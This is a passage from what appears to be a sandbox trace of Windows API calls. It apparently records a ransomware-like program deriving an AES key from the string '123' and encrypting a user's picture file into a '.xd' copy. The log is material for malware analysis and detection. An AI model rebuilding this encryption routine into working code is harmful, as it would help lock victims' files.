cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0059.952] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0059.952] CryptCreateHash (in: hProv=0x17aa9a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0059.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.953] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0059.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0059.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621840, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0059.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0059.955] CryptHashData (hHash=0x164c630, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0059.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.955] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.955] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.955] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0059.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0059.955] CryptDeriveKey (in: hProv=0x17aa9a0, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0059.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.956] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0059.956] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0059.956] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0059.956] CryptDestroyHash (hHash=0x164c630) returned 1 [0059.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u9687iccdsuktys.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0059.957] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.957] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0059.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0059.957] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u9687iccdsuktys.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0059.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.960] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0059.960] ReadFile (in: hFile=0x3bc, lpBuffer=0x17ccde8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesRead=0x130edb0*=0xa7e9, lpOverlapped=0x0) returned 1 [0059.961] ReadFile (in: hFile=0x3bc, lpBuffer=0x17ccde8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0059.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.979] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0059.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.983] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0059.983] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.983] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0059.983] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.983] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.983] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.983] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0059.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0059.983] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0059.984] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0059.984] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.984] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.985] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.985] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.986] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa7e9, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa7f0) returned 1 [0059.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.986] CharLowerBuffW (in: lpsz="byte[42993]", cchLength=0xb | out: lpsz="byte[42993]") returned 0xb [0059.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.990] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.990] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.991] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.991] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.991] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.991] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f1de0*, pdwDataLen=0x130e618*=0xa7e9, dwBufLen=0xa7f0 | out: pbData=0x17f1de0*, pdwDataLen=0x130e618*=0xa7f0) returned 1 [0059.991] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.991] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.991] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.991] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.991] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.992] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.992] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.992] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.992] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.992] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.992] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.992] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.995] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.995] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.996] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.996] WriteFile (in: hFile=0x2ac, 